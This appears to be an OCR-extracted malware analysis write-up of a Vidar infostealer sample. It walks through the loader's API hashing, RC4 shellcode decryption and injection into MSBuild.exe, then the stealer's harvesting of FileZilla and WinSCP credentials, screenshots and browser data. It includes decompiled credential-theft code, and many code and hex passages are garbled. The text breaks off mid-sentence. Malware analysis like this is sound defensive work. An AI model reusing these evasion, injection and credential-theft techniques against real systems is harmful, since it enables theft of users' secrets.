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Analyzing

Vidar Stealer

Overview

Vidar is an infostealing malware designed to collect a variety of sensitive information from an
infected computer and exfiltrate it to an attacker. It operates as malware-as-a-service (MaaS)
and has been widely used by cybercriminals since its discovery in late 2018.

Vidar is typically distributed to victims via phishing emails and fake installers. | have
personally seen many fake installers containing some type of stealer, such as cracked
software, game cheats, keygens, and more.
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https://aviab1.github.io/Vidar-Stealer/

Here’s an infection flow that I've created for what we’re going to analyze today. This is just to

give you a general idea of the infection chain and is not 100% accurate:

User Downloads Stage & . 3“’%‘? 2 - GET request to Steam/Telegram
Fake Installer Initial malicious loader Sioctac Vicar Py in order to retrieve C2 addresses

into MSBuild process

or Receives Phishing Email

o =

Stealer downloads a number
of DLLs before harvesting data

9

Malware F:ollects information  myitiple POST requests to the G2 server
from the infected host with all the harvested data in baseé4-encoded

T¢ format and other data.

AviaB GET request to C2 for additional payloads once the stealer is done with harvesting data.

Sample Information

MD5: b6fff0854975fdd3a69fd2442672de42
SHA256: fe0d2c8f9e42e9672c51e3f1d478f9398fe88c6731f83cadbb07d3bb064753¢c6
Size: 270,336 bytes

Compilation date: 2025-03-13 10:34:19

Loader Analysis

Static Analysis

The first thing | do in every investigation involving files is gain an overview of the files and
their capabilities, encryption used, obfuscation, and packers. At this stage, | make
hypotheses about the file’s capabilities and goals so | can focus on the important aspects
and avoid unnecessary rabbit holes.

Dropping the file into Detect it easy, it didn’t identify any known packers, and it seemed like

the sample was compiled with Microsoft Visual C/C++(2022+)[-] using the Microsoft
Linker(14.42).
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Scan Endianness Mode Architecture Type

Automatic LE &4-bit AMDE4 Console

~ [PFRA
Compiler: Microsoft Visual ++(2022+][-]
Linker: Microsoft Linker(14.42**)[Consoletd, console]

As seen above, the sample appears to be 64-bit. We can verify this by checking the magic
header in the optional header of the PE file. A value of 0x20B indicates a 64-bit file, while
0x10B signifies a 32-bit file.

Cffsec(h) 00 ©O1 02 O3 04 05 06 07 OF 0% 0A QOB OC OD OE OF Decoded text

QQQo000gd 4D 5& 90 Q0 03 OO0 00 OO0 Q04 OO0 QQ 00 FF FF 00 00 MZ.......... V..
00000010 B3 00 00 Q0 00 OO0 00 00 40 OO0 QQ 00 00 00 00 00  ,....... Bo.oo.o...
Q00000020 00 00 00 Q0 00 OO0 00 Q0 00 00 Q0 00 Q0 00 00 00 ... eeeienenna
Q0000030 00 00 00 Q0 00 OO0 00 Q0 Q0 00 Q0 00 00 0L 00 00 ... eeeeeennnenna
00000040 OE 1F BA OE 00 B4 09 CD 21 B2 01 4C CD 21 54 €2 ..°.. .1, . Li'Th
00000050 89 T3 20 TO 72 6F 67 T7Z €1 el 20 &3 61 6E 6E €F 1is program canno
Q00000060 T4 Z0 62 65 20 TZ T5 6E 20 &% 6E 20 44 4F 53 Z0 t be run in DO3

Q0000070 6D &F &4 &5 ZE OD OD OX 24 00 00 00 00 00 00 00 mode....5.......
Q00000080 oC &F 06 17 28 CE €8 44 28 OE 68 44 28 OE 68 44 lo..(.hD(.hD(.hD
Q0000090 &3 76 6B 45 2D COE &8 44 63 76 €D 45 BB 0E 68 44 cvkE-.hDcvmE».hD
Q000000Ra0 63 Te oC 45 22 COE €8 44 39 53 6B 45 21 OE 68 44 cvlE".hDS"EKE!.hD
Q0QQ000B0 39 8% oC 45 38 CE €8 44 3% 33 6D 45 03 OE 68 44 S°1ES.hDS"mE..hD
QQ0Q000Cd 63 Te 6% 45 2B COE €8 44 28 OE 69 44 73 0OE 68 44 cviE+.hD(.iDs.hD
Q000000 AB 3% 61 45 2% COE €8 44 AB 33 97 44 29 0E 683 44 « akE) .hD«™—D) .hD
QQ00000EQ AB 3% o6& 45 29 COE €8 44 52 6% 63 63 28 OE 68 44 « JE) .hDRich(.hD
QQQ000Fd 00 00 00 Q0 00 OO0 00 Q0 Q0 00 Q0 00 Q0 00 00 00 ... eeeie e
00000100 50 45 00 00 64 86 07 00 1B 17 D3 &7 00 00 00 00 PE..dt....0q....
00000110 00 00 00 Q0 FO OO 22 Q0 OE ZA 00 Z8 01 00 ....E.".[].*.*..
00000120 00 DC 00 Q0 00 Q0O Qg0 Qo 1F 00 00 00 10 00 00 .O...... .......
Q0000130 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 ... .@........ ...
00000140 06 00 00 Q0 00 OO0 00 OO0 Q06 OO0 Q0 00 Q0 00 00 00 ... eeevenennn
Q00000150 00 TO 04 00 00 O 00 OO0 Q0 00 Q0 00 0F 00 60 F1 . pPoveveiiannnns .

As we can see, this is indeed 0x20B (Little Endian) which means this is 64-bit file.

Next, let’s check the compilation time. We can examine the TimeDateStamp, which contains a
DWORD (4 bytes) value representing the time of compilation.
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Cffset(h) OO0 01 02 O3 04 05 06 07 O 09 04 OB OC OD QOE OF Decoded text

Q0000000 4D SA 90 00 03 OO0 00 OO0 04 OO0 Q0O 00 FF FF OO OO MZ.......... V..
00000010 BE OO0 00 OO0 00 OO0 00 OO0 40 OO0 00 00 Q0 OO0 00 00 ... .... @.......
Q0000020 00 OO0 00 00 00 OO 00 OO0 00 OO0 00 00 00 00 00 00 . ci i e
Q0000030 00 00 00 00 00 OO 00 OO0 00 OO0 00 00 00 0L 00 00 . ee i e ens

J
54 g3 ,.°,, .I!',.LI'Th

m o
(W)
[}
[
O
[ =
[}
=
%]

]
00goo040 OE 1F B4 OE 00 B4 09 CD 21
]

-]

00000050 65 T3 20 TO T2 6F 6T T2 61 6D 20 63 61l 6E 6E 6F 1is program canno
00000080 T4 20 62 65 20 T2 TS 6E 20 &% 6E 20 44 4F 53 20 t be run in DOS

00000070 6D &F 64 &5 ZE OD OD OA 24 OO0 00 OO0 00 OO0 00 00 mode....5.......
00000080 eC 6F O6 17 28 OE 68 44 28 OE 68 44 28 0OE 68 44 lo..(.hD(.hD(.hD
Q0000090 63 Te 6B 45 2D OE 68 44 63 Te 6D 45 BB OE 63 44 cvEE-.hDcvmEs.hD
000000AD 63 Te 6C 45 22 OE 68 44 39 33 6B 45 21 OE 68 44 cvlE".hDS KE!.hD
00go00B0 3% 5% eC 45 38 OE 68 44 39 33 6D 45 03 OE 68 44 S71ES.hDS " mE..hD
QOQo00oCh 63 Te 69 45 2B OE 68 44 28 OE 659 44 73 0OE 68 44 cviE+.hD(.iDs.hD
QOgoooDpD AR 5% 61 45 29 OE 68 44 AB 33 97 44 29 0OE 68 44 «"akE).hD«"—D) .hD
QO0000ED AR 55 64 45 29 OE 68 44 52 6% 63 6% 28 0OE 683 44 « JE).hDRich(.hD
QOQOQ00FD 00 00 00 00 00 o0 00 00 QO OO0 Q0 OO0 00 00 00 00 .. ..
00000100 50 45 00 00 &4 6 0T OO0 } 13 6T J0 00 00 PE..df. .. -
00000110 00 OO0 00 OO FO OO 22 00 01 0o L...8. "L T LE

In order to get the actual value, we need to convert it to big endian and then to decimal. The
value is stored as epoch time (also known as Unix time), which is how computers store and
measure time, so we need to convert it accordingly.

Convert epoch to human-readable date and vice versa

| 17418872589 ‘ Timestamp to Human date | [batch convert]

Supports Unix timestamps in seconds, milliseconds, microseconds and nanoseconds.

Assuming that this timestamp is in seconds:

GMT : Thursday, March 13, 2025 5:34:19 PM
Your time zone :Thursday, March 13, 2025 7:34:19 PM GMT+02:00
Relative : 5 days ago

As we can see, after all the conversions, the compilation date is 2025-03-13. We can verify
this by checking any PE parser, i.e., CFF Explorer, PE Bear, and others.

Checking the entropy of the file reveals that the . BSsS section has high entropy. This section
usually contains uninitialized global and static objects, so high entropy could indicate that it
contains encrypted shellcode or additional payloads for the malware. It's actually common for
attackers to store encrypted shellcode in the .BSS and .data sections, but we’ll revisit this
later.
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Offset Size Entropy Status Name
0000000000000000  0OOODDDODO00DE00 208637 not packed PE Header
000D000DOODD0G0D  DDOODDD0OD0012a00 . e Section(0)[' text']
0000000000013000  0D00DDO0D000E000 : & Section(1])[".rdata’]
00000000000Td000  00CO0D0000000C00 99 not packed Section(2])['.data’]

Z
0000DRO0DO0TdcDD  0DOODDOODDOOTA00 4.73553 not packed Se 3)[".pdata’]
0000000D00D01FOD0  DODOODDOODO00Z00 4.70718 not packed Section(4][".rsrc’]
0000000000200 DDOODDDODOOODE00 4.92148 not packed Section(3)[".reloc']
00D0O0DDRO0D01faD0  DDDODDDRODDOZ2600 7.99875 packed Section(6)[".bss']

Dizgram

150,000 250,000

Checking the imports reveals functionality that could be used for anti-analysis and anti-
debugging, such as UnhandledExceptionFilter, SetUnhandledExceptionFilter,
IsDebuggerPresent, and GetEnvironmentStringsw. Additionally, there are functions that
suggest potential malicious functionality.

imports (77) flag (13)
GetCurrentProcessld
WriteFile
FindFirstFileEx\W
FindMextFileW
RtlLookupFunctionEntry
GetCurrentProcess

hint group (9) technique (3) type (2) ordinal (1)

DB22

DCF8
DDDE
DDEC

TerminateProcess
GetCurrentThread|d
GetEnvironmentStringsW
SetEnvironmentVariableW
RaiseException
GetMeoduleHand|eExW
RtlPcToFileHeader
InitializeSListHead

Box R OR OR OX X X X X X X X

EnterCriticalSection

Running Strings/Flo e didn’t yield any interesting results.

Now that we have an overview of the file, its capabilities, and potential functionality, we can
start analyzing it.

First thing that the program does is get it’s full path in order to load itself into memory, it's
using GetModuleHandlew and GetModuleFileNameA.

call cs:éetﬁ:duleHandle; ; Get module handle of the file

mow r8d, 184h 3 nsize
lea rdx, [rbp+lB8@h+Filename] ; lpFilename
Mo rox, rax 3 hModule

call cs:GetModuleFileNamed ; Get the full path of the executable
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After that, we can see that it opens the file in binary mode. It uses fopen, then moves the file
pointer to the end with fseek, retrieves the file size with ftell, and finally closes the file.

maw
lea
call
Kor
maw
maw
maow
call
maw
call
maw
mow s xd
call

rox,
rdx,

fopen

[rsi]
Mode

edx, edx
réd, 2
rox,

fme e e ma

fmm e fma hms

. ]

FileName

"

Open the file in binary mode and reads it
Offset

Origin

Stream

Changes the file's pointer

Stream

Gives us the current file positieon
Stream

i Close the file

Next, we can see that it allocates memory using the size returned from ftell, then reads the
file’s contents into the buffer.

Mo
call
Mo
lea
Mo
call
Mo
M
Mo
Mo
Mo
call
Mo
call

rcx, rdi
j__malloc_base
rex, [rsi]
rdx, Mode
csiBuffer, rax
fopen

rcx, cs:Buffer
ra, rax

rd, rdi

edw, 1

rbx, rax

fread

rcx, rbx

= LS

fme e e fme e

Size

Allccates memory with the size returned from ftell
FileName

"

Recpens the file and moves data inte the buffer
Buffer

Stream

ElementCount

ElementSize

Stream

Next, we can see that it loads the file’s content into the R10 register. It then retrieves the
e_l1fanew offset, which contains the address of the PE header. After that, it extracts the
number of sections and checks if it is zero, jumping accordingly.

maw
mowsxd
lea
add
MW X
xor
Mo
maw
maw
mow
test

jz

If the number of sections is non-zero, it loads the effective address of a variable named .Bss.

rl@, cs:Buffer
rax,
rdx,
rdx,
rad,

eax,

rax

eax

dword ptr [rl@43Ch] ; e_lfanew offset
[r1@+188h]

word ptr [raxtrleds] 3 Number of Sectiocns offset

[rsp+288h+var_220], eax

ri2d, eax
risd, eax
réd, eax
rod, rod

short loc 7FF7CS53B168C ; Jumps if number of sections is zero

As we recall, the .Bss section had very high entropy, which further supports the idea that it
contains some form of encrypted shellcode that will eventually be injected into memory.
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[l il =
lea rll, aBss 3 ".hss"
|

Walking the PEB (Process Environment Block)

“Walking the PEB” is an approach malware authors use to interact with the Process
Environment Block in Windows. This data structure holds information about the process,
loaded modules, environment variables, and more. By walking the PEB, malware authors

can dynamically resolve APls that are typically monitored by security products and may be
detected during static analysis.

We can see that the malware accesses the PEB at gs: 60h, which is how the PEB is

accessed in a 64-bit architecture. In a 32-bit architecture, it would be accessed through
fs:30h.

Next, the malware moves the address of PEB_LDR_DATA into RCX. PEB_LDR_DATA is a structure
that holds three pointers to three doubly linked lists of loaded modules. It then accesses
offset 9x20, which corresponds to InMemoryOrderModulelList - a structure that contains all
the loaded modules in memory, including DLLs.

We can see the string "KERNEL32.DLL". The malware will parse the
InMemoryOrderModuleList, searching for this module. If found, it returns its address.

Ll e =]

loc 7FF7CS3B16BC:

Mo rax, gs:68h

lea r8, akernel32D1l & ; "KERMELZZ.DLL"

Mo rcx, [rax+l8h] ; PEB_LDR DATA

Mo rbx, [rex+28h] ; InMemoryOrderModulelist
M rcx, @FFFFFFFFFFFFFFFFh

mow rdx, [rbx+58h]

nop
APl Hashing

API hashing is a common trick malware uses to hide its function calls and make static
analysis harder. Instead of storing APl names like LoadLibrary or GetProcAddress in plain
text, it converts them into hash values. This way, security tools and analysts can’t easily spot
which APIls the malware is using just by scanning the binary.

At runtime, the malware calculates hashes for loaded APIs and compares them against its
stored values to resolve what it needs. This is often combined with walking the PEB to find

loaded modules without relying on standard Windows API calls, making detection even more
difficult.
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As we can see, it's quite obvious that the malware implements API hashing. Hardcoded hash
values are being passed to the sub_1400011c0 function (ResolveFunctionByHash), and the

returned address is saved on the stack.

il i =

loc 7FF7CS3B171B:

maw
M
Mo
call
call
maw
mow
call
maw
M
Mo
Mo
call
maw
mow
maw
maw
call
Mo
Mo
maw
call
mow
maw
maw
call
Mo
Mo
maw
call
mow
maw

LT

We can create an IDAPython script to retrieve the APIs by recreating the hashing algorithm
used by the malware and computing it against a list of exports from the relevant DLL - in this
case, kernel32.d11. Alternatively, we could debug it and resolve them dynamically.

rbx, [rbx+2eh]

edx, BEA3BCSC3h

rcx, rbx
ResolveFunctionByHash
rax

edx, 4443D462h

rcx, rbx
ResclveFunctionByHash
edx, 92FFBD9&h
[rbp+l88h+var 1F8], rax
rcx, rbx

rld4, rax
ResolveFunctionByHash
edx, BFE381C00h
[rbp+l88h+var 1F@], rax
rcx, rbx

rl3, rax
ResclveFunctiocnByHash
edx, 41747577h
[rsp+288h+var_218], rax
rcx, rbx
ResolveFunctionByHash
edx, 29871107h
[rsp+288h+var_288], rax
rcx, rbx
ResclveFunctiocnByHash
edx, 2889ACECh
[rbp+188h+var_2808], rax
rcx, rbx
ResolveFunctionByHash
edx, 91B38EC1lh

rcx, rbx

Lal ol LR
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(e |7

maw
M
Mo
call
call
Mo
mow
call
maw
M
Mo
Mo
call
Mo
mow
maw
maw
call
Mo
Mo
Mo
call
mow
maw
maw
call
Mo
Mo
Mo
call
mow
maw
maw
call

The combination of resolved APIs looks like a classic preparation for process injection. This

loc JFF7CS3B171E:

rbx, [rbx+28h]

edx, BEA3BCSC3h ; kernel32 FreeConsole

rcx, rhx

ResolveFunctionByHash

rax

edx, 44430452h ; kernel32 CreateProcessA
rcx, rbx

ResoclveFunctionByHash

edx, 92FFBD96h ; kernel32 VirtualAlloc
[rbp+l88h+var 1F3], rax

rcx, rhx

rld, rax

ResoclveFunctionByHash

edx, BFE3B3LCODh ; kernel32 WowedGetThreadContext
[rbp+l88h+var 1F@], rax

rcx, rbx

rl3, rax

ResolveFunctionByHash

edx, 41747577h ; kernel32 ReadProcessMemory
[rsp+288h+var_218], rax

rcx, rhx

ResclveFunctionByHash

edx, 29871107h ; ' kernel32 VirtualAllocEx
[rsp+288h+var 288], rax

rcx, rbx

ResolveFunctionByHash

edx, 28B9ACECh ; kernel32 TerminateProcess
[rbp+l88h+var_288], rax

rcx, rhx

ResclveFunctionByHash

edx, 91B38ECLlh ; kernel32 WriteProcessMemory
rcx, rbx

rsi, rax

ResolveFunctionByHash

also makes sense based on what we observed in the .BSS section.

Decryption of Encrypted Shellcode

After that, | see a call to the function sub_7FF7Cc53B13F0, which is responsible for the
decryption routine of the encrypted shellcode. The function likely uses RC4 encryption, as
indicated by the initialization of an array of 256 bytes, which is part of the Key Scheduling

Algorithm (KSA) in RC4.
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LODWORD(v3) = @;

-

W = ddy

vEs o= @8

vE = Bigd;
vE = 256164;
do

vE] = *(_BYTE *)(v9 % @xA + a3);

Once the array is initialized, it gets shuffled with a key.

do
1
12 = {unsigned __ int8)v1B[v1l + 257];
18 = (w12 + (unsigned _ int8)v1S[v1l + 1] + wvie) ¥ 256;
13 = &I1B[v1ie + 257];
result = (unsigned _ int8)}*v13;
v18[wllH+ + 257] = result;
*y13 = y12;
-8}
¥

The final step is the Pseudo-Random Generation Algorithm (PRGA), which uses the array
to generate a keystream (a pseudo-random byte sequence) that is XORed with the plaintext

to produce the ciphertext.

e s
if ( (int)ve > @ )
{

do

1

int)u3 + 1) ¥ 256;

unsigned  intB8)v18[v3 + 257];
w17 + v15) X 256;

[v3 + 257] = vi8[vl5 + 257];
vIB[v15 + 257] = v17;

T T T

return result;

b

Instead of analyzing it statically, we can just dynamically analyze it, let the magic happen,

and get the next stage (;

Unpacking

result = (unsigned _ int8)({v17? + v18[v3 + 257]);
*al++ "= v18[result + 257];
--wlG;
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Okay, at this point, | have enough information to confidently say that we’re dealing with a
loader that uses remote process injection to execute its next stage.

There’s one neat trick that will help us unpack it with a single breakpoint. As we can see, the
malware uses WriteProcessMemory. This APl takes several parameters, but the third one,
1pBuffer, is a pointer to the buffer that contains data to be written into the address space of
the specified process.

(
HANDLE hProcess,

LPVOID 1pBaseAddress,

LPCVOID lpBuffer,
SIZE_T nSize,
SIZE T *1pNumberOfBytesWritten

After setting the breakpoint, we can inspect the third argument on the stack, where we
should see the data that is about to be written to the process. By doing this, we get the most
beautiful thing -the MZ header. It seems like the malware is trying to inject a PE file into a
remote process.

Address
00000120333AZ24DQ)| 4D 5A 78|00 |01 OO0 OO OO(O4 OO OD 00|00 OO0
00000120333A24E 00|00 00 OO0 00|40 OO0 OO0 00|00 OO0

00000190333A24F0| 00 OO0 0D 00|00 OO OO 00|00 OO OO0 00|00 00
00000190333A2500| 00 OO0 0D 00|00 OO OO 00|00 OO OO0 00|78 OO
00000190333A2510|0E 1F BA OE |00 B4 09 CD (21 BS 01 4C|CD 21 cc®co o

00000190333A2520(| 69 73 20 70|72 6F 67 72|61l 6D 20 63|61 6E 6E &F|is program canno
00000190333A2530(|74 20 62 65|20 72 75 GE |20 69 GE 20|44 4F 53 20|t be run in DOS
00000190333A2540| 60 6F 64 65
00000190333A2550| 01 FA BB 67
00000190333A2560 | 0B 01 OE 0O
00000120333A2570( 10 72 01 00
00000120333A2580( 00 10 00 00
00000120333A2520( 06 00 OO0 0O
00000120333A25A0( 00 00 OO0 00
00000120333A25B80( 00 00 10 00

We can follow the memory map and dump the process, but before that, let's see which
process it's getting injected into.

By following the CreateProcessA call, which we know the malware uses, we can see that the
process being injected with the PE is
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe.

Now, let's dump the next stage by following the memory map

11/27



s | 48: 888424 AB000000 |mov rax,qword ptr ss:[Irsp+as]

o = ) :d ptr ds:[ri1l-28],rax

o|  |#] Binary b lgword ptr ss:[rsp+ac]

s o fd ptr ds:[rl1l1-30],rax

. ] Copy r dword ptr ss:|irsp+938]

» o id ptr ss:[frsp+30|, eax

. Follow in Disassembler dword ptr ss:|[frsp+20]

* | I ] fd ptr ss:|[rsp+28],eax

o | D% Followin Memory Map I fd ptr ds:[r1l-48],r9

. - I8

s} # Label Current Address : Fdx

. Jrex rox: oW

of @ watch QWORD ecx

o ] srnelbase.CreateProcessInternalAl

® j Modify Value Space &5

L

» ®  Breakpoint L

. B

¢| | /2l FindPattern... Ctrl+8

L

» H Find References Ctrl+R

L .

o = Syncwith expression 5

-

* 5 Allocate Memory

L ]

of | &2 Goto »

L

: = Hex L

L

Az Text r
rdx=0
FCX=00007FF7D606EA O  Integer ¥ lamework'\v4.0.30319\MSBuild. exe”
.text:00007FF835E8 (1 Float r
Address 3
Pbump 1 P4 Dum ﬁ mp 5 8 watch1  [*=l Locals # Struct

Address H Disassembly ASCII

000001203 I3AZ4D0

|DD 00 00 00 |MZX. e vueennennns

and dumping it to disk

P P 8 8 B S | P R | .
0000019033330000 | 0000000000001000 |§, User | i
0000019033370000 | 000000000005 6000 |, User | Heap (ID C° i
00000190333C6000 | 000D0000DDDAANDD |§, User  |Reserved ( B Follow in Disassembler ]
0000019033470000 | 00000000000C9000 |§, User | ‘\Device'\Hz b
00007 FE41ASE0000 | 0000000000005000 [§, User @4 Follow in Dump ]
00007 FF41A%ES 000 | 00000000000FEDNQ |, User  |Reserved b
00007 FF41AAEDOO0 | 0000000100020000 |§, User  |Reserved ]|_:'|i Dump Memary to File I ]
00007 FES LAAD D000 | 0000000002000000 [§, User  |Resarved i
00007 FF5 1CADDOOO | 0000000000001000 |, User . Comment : i
00007 FFS 1CAEDOO00 | 0000000000001000 |, User ) b
00007 FES 1CAFDO000 | 0000000000023000 [§, User /2] Find Pattern... Cirl48 ]
00007 FF7D605 0000 | 0000000000001000 |, User w7942, exe. © i
00007 FF7D605 1000 | 0000000000012000 |, User “otext” | g Region view

00007 FE7D6064000 | 0000000000004000 [§ User ", rdata"

00007 FF7D606E000 | 0000000000002000 |, User “.data” | @ Find references to region

00007 FE7D607 0000 | 0000000000002000 |, User " pdata"

00007 FE7D607 2000 | 0000000000001000 [§, User Torsrc” | g

00007 FF7D607 3000 | 0000000000001000 |, User “.reloc” a4  Allocate memory

00007 FE7D607 4000 | 0000000000023000 |, User ".bss" | g

00007 FF833640000 | 0000000000001000 |2 System | apphelp.dl "= Free memory

00007 FF8336A1000 | 000000000004EDDO (B System | ", Text”

00007 FFE336EFO00 | DD00000000022000 |B System | ".rdata” &2 Add virtual module

00007 FF833711000| 0000000000003000 (= System | ".data” |

00007 FF833714000 | 0000000000004000 |B system | “.pdata” = Goto *

00007 FF833718000 | 0000000000017000 (B System | ".rsrc”

00007 FF83372F000 | 0000000000001000 |B System | ".reloc” | mm )

00007 FF835E30000 | 0000000000001000 |8 System | kernelbase w» Set Page Memory Rights

R F R CO000000000133000 |8 System | V. text”

00007 FF835F64000 | D000000D00182000 (B System | ".rdata” )

00007 FE8360E 6000 | D000000000005000 |® System | *.data” °  Memory Breakpoint ’

00007 FF8360EBD00 | 0000000000010000 (B System | ".pdata”

00007FF8360FBO0D | 0000000000001000 [ System | ".didat” [ (gopy »

00007 FES360FCO00 | 0000000000001000 |8 System | “.rsrc” |

AAAARTErEOSsAarnann | aaameammun e T oeren s Tl e e e e " W T

That's about it with the loader. Now, let’s analyze the real deal — the stealer!

Stealer Analysis
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Overview

It seems like this time we’re dealing with a 32-bit binary compiled on 2025-02-23.
Running Strings yields quite interesting results:

e Multiple occurrences of strings related to crypto wallets.

o Multiple references to browser paths.

o URLSs of a Telegram channel and a Steam profile.

» References to numerous files that could potentially store information about the target
and passwords.

Data Theft

Before the stealer begins data harvesting, it downloads several DLLs from the C2 server,
including:

o freebl3.dll

e mozglue.dll

e msvcp140.dll

e nss3.dll

o softokn3.dll

e vcruntime140.dll

These DLLs are legitimate and likely used by the stealer to enable parsing of relevant
information and to facilitate the necessary capabilities for data harvesting.

Vidar is capable of stealing a wide array of data, including:

o Browser Data (history, autofill, cookies)

e General Information (username, computer details, local time, language, installed
software, processes, and more)

e Crypto Wallets

e Screenshots of your PC

e And more

Let’s go over some of the things the stealer harvests.

FileZilla

The stealer seems to parse the file \AppData\Roaming\Filezilla\recentservers.xml and

retrieve the hostname, port, and password if they exist.
sub_4@F45e((void **)&S1 + 2);
sub 4eFsBe((int)v4s, (CHAR **)&v53, |"\\AppData‘\Roaming\\FileZilla‘\recentservers.xml");
sub_40F4E@(&v53);
sub_48F4se( (void **)&v53);
sub 48F418(v45);
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if ( Strstra(vl?, "<Host:") )
1
w21 = lstrlenA(vl7);
ExtractAndSstoresubstring((int)vas, (int)vl?, 9, w2l - 16);
AllocatefAndReplaceString(v4s);
freememory ( (void **)v4s);

if { Strstra(vl?, "<Port:™) )
1
w22 = lstrlenA(vl7});
ExtractAndStoresubstring({int)vas, (int)vl?, 9, w22 - 16};
AllocatefAndReplaceString(v4s);
freememory ( (void **)v46);

(s3]

if { Strstra(vl?, "dUserz") )

1
w23 = lstrlenA(vl?);
ExtractAndStoreSubstring((int)wv
AllocateAndReplacestring(v4s);
freememory ( (void **)vdE);

[

5, (int)yvl7, 9, v23 - 16);

C

if ( Strstra(vl?, "<Pass encoding=\"base&4":") )

1
v24 = IstrlenA(vl?);
ExtractAndStoreSubstring((int)vds, (int)vl7, 27, v24 - 34);
AlloccatefAndReplaceString(vais);
freememory ( (void **)vdE);
w25 = {const CHAR *)aetPointer((char *)&v52 + 4);
26 = lstrlenA(v2s);
v27 = 3 * (v26 »» 2) - (v25[v26 - 1] == 61);
w56 = v25;
vS4 = (LPCSTR)LocalAlloc(@xdBu, w27 - (v25[v2E - 2] == B1));
if ( w54 )
WinSCP

Next, the stealer opens Software\\Martin Prikryl\\WinSCP 2\\Configuration, which is
the registry key that contains information about the configuration in winscp. Then, it
enumerates the values to check if Security and UseMasterPassword exist.

WIS = 1wsa;

if ( RegOpenKeyExA(HKEY CURRENT_USER, "Software\\Martin Prikryl\\WinsCP 2\\Configuration™, @, 1lu, phkResult} )
goto LABEL 7;

pcbData = 4;

if ( RegGetValueA(phkResult[@], "Security™, "UseMasterPassword”, @x16u, 8, &pvData, &pcbData) )
goto LABEL 3;

w12 = phkResult[@];

if ({ pvData )

LABEL_5:

if ( viz )

RegClosekKey(vl2);
goto LABEL 7;
.

After that, the stealer opens software\\Martin PrikryI\\WinSCP 2\\Sessions, which is
the registry key that contains information about saved WinSCP sessions. It then enumerates
the session keys and processes each one to extract details such as the HostName,

PortNumber, UserName, and Password. For each session, the stealer retrieves the values of
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these registry keys and constructs a string with the session information. If the password
exists, it is retrieved and stored as part of the session details. The information is then
allocated and copied into memory

1
if { !RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Martin Prikryl\\WinSCP 2\\Sessions", @, 9u, phkResult) )

if ( RegEnumkKeyExA(phkResult[@], @, Name, &cchiame, @, @, @, 8) )

1
ABEL_3:
v12 = phkResult[@];
goto LABEL_5;
b
1

sub_48F5B8((int)}v3e, (CHAR **)&ftLastWriteTime, |"Soft: winSCP\n"}t
AllocatefndReplaceString(v3e, (int)&ftlastlWriteTime];

freememory( (void **)&ftlLastWriteTime);

sub_4@8FSBe((int)v3s, (CHAR **)&ftlastlWriteTime, |"Host: 'l;
AllocatefndReplaceString(v3s, (int)&ftlastllriteTime);

freememory( (void **)&ftlastlriteTip=]s:

RegGetValueA(phkResult[@], Name, 2u, @, Class, R&v33);
sub_48F5B@((int}v3e, (CHAR **)&f ritelime, Class});
AllccatefndReplaceString(v3e, (int)&ftlastlWriteTime);
freememory ( {void **)&ftlastWriteTime};
V3B = 4;

if ( RegGetValuef({phkResult[@], Hawe,l"PDrtNumher" @xFFFFu, @, &/37, &v38) )
1

CLasTii

sub_4@F5B@((int)vi6, (CHAR **)&FtlasturiteTime,[":22™)
AllocateAndReplacestring(v3e, (int)&ftlastWritelime};
p_ftLastWriteTime = &ftlLastWriteTime;

b

PoTLLASLWINLLE I LNE = [SLITULL  FLLOILMC & VL0

¥
freememory ( {(void **)p ftlLastWriteTime};
sub_4BF5B@((int)v3s, (CHAR **}&ft_astﬁ’iteTiwe,|"1nLDgin: "1

AllocatefAndReplaceSstring(vis, (int)&ftlastirite

freememory( (void **)&ftlastlriteTime);
RegGetValuehA(phkResult[@], Han'e, 2u, @8, String, &v34);
sub_4@8FsBe((int)}vis, (CHAR **)&FfI{CactwWritelime, String)s
AllocateAndReplacestring(v3e, (int)&ftlastWriteTime);

freememory( {void **)&ftLastWriteTime};

sub_4eFsB8((int)v3s, (CHAR **)&FftLastWriteTime, "\n"};
AllocatefndReplaceString(v3e, (int)&ftlastWriteTime);

freememory( (void **)&ftlLastWriteipsla
RegGetValueA(phkResult[@], Mame,|"Password"} 2u @, _p=z3tcl  &v35);
sub_4@8F5BB( (int)v3s, (CHAR **)&FftlastliriteTime,|"Password: |");
AllocatefAndReplaceString(v3s, (int)&ftlastlritelime]}}

freememory( {void **)&ftLastWriteTime};

if { strlmpCA{pszstrl, "") )

sub_qecese((int)&ftlastWriteTime, Class, String, pszStrl};
dwLowDateTime = &ftlLastWriteTime;
if ( v3e = exie )

dwLowDateTime = (struct FILETIME *)}ftlLastlriteTime.dwlLowDateTime;
sub_4@F5B@((int)v36, (CHAR **}w28, (LPCSTR)dwLowDateTime);
AllccatefAndReplaceString(v3e, (int)wi2s);
freememory ( {void **)v28);
if ( v3e »= exie )
r

Screenshot
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The stealer captures a screenshot by using GetbDesktopwindow to get the window handle of
the desktop, then it calls GetDC to obtain a device context for the desktop window and
creates a compatible bitmap with CreateCompatibleBitmap to store the screenshot.

w52 = va_arg(va3, _DWORD);

w53 = wva_arg(va3, _DWORD);

if ( sub_41B8EE() )

1
Rect.left = 16;
LODWORD(v25) = v24;
memset({v24, @, sizeof(v24));
v24[@] = 1;

if { !dword_423788(8v27, w24, @) &% !CreateStreamOnHGlobal(®, 1, &ppstm) )

1
DesktopWindow = GetDesktopWindow(};
GetWindowRect(DesktoplWindow, &Rect);
hiind = Desktoplindow;
DC = GetDC(Desktopkiindow);
hdc = CreateCompatibleDC({DC);

ho = CreateCompatibleBitmap(DC, Rect.right, Rect.bottom);

h = selectObject(hdc, ho);

hDC = DC;
v21 = DC;
v3 = ho;

BitBlt(hdc, @, @, Rect.right, Rect.bottom, v21, @, @, @xCC8@28u);

if { !dword _42370@(v3, B, &v36) )

1
phglchal[@] = @;
Size = @;
dword_4237CB(phglcbal, &Size);
vd = Size;
if ( size )
1
vE = [LPCWSTR *)malloc(Size);
if ( wvs )
1
V6 = v5;

dword_4237CC(phglcbal[@], w4, v

if { phglebal[e] )

Then it delete any temporary objects, doing sort of a clean-up

Browser Data

Vidar stealer supports extracting information from the following browsers:

e Google Chrome

e Amigo

e Torch

e Vivaldi

e Comodo Dragon

e Epic Privacy Browser
e CocCoc

e Brave
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e Cent Browser

e 7Star

e Chedot Browser
e Microsoft Edge
e 360 Browser

e QQBrowser

e CryptoTab

e Opera Stable

e Opera GX Stable
e Mozilla Firefox
e Pale Moon

It seems like the stealer uses remote browser debugging to steal cookies. Besides that, it
